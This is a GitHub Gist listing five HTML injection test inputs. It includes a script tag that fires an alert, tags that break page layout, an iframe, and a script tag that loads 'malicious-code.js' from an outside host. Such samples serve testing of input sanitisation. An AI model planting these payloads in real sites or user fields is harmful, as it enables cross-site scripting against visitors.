Created
April 14, 2014 17:09
-
-
Save sigmaray/10666127 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- #1 --> | |
<script> | |
$(document).ready(function() { | |
alert('JavaScript injection'); | |
}); | |
</script> | |
<p>Some text here</p> | |
<!-- #2 --> | |
<!-- Trying to break page's layout --> | |
</div> | |
<p>Some text here</p> | |
<!-- #3 --> | |
<!-- Trying to make rest of the page bold (b tag is not closed) --> | |
<p>Some content</p> | |
<b> | |
<!-- #4 --> | |
<!-- Loading script from external resource --> | |
<script src=http://www.example.com/malicious-code.js></script> | |
<p>Some content</p> | |
<!-- #5 --> | |
<iframe src="http://www.w3schools.com"></iframe> | |
<p>Some content</p> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment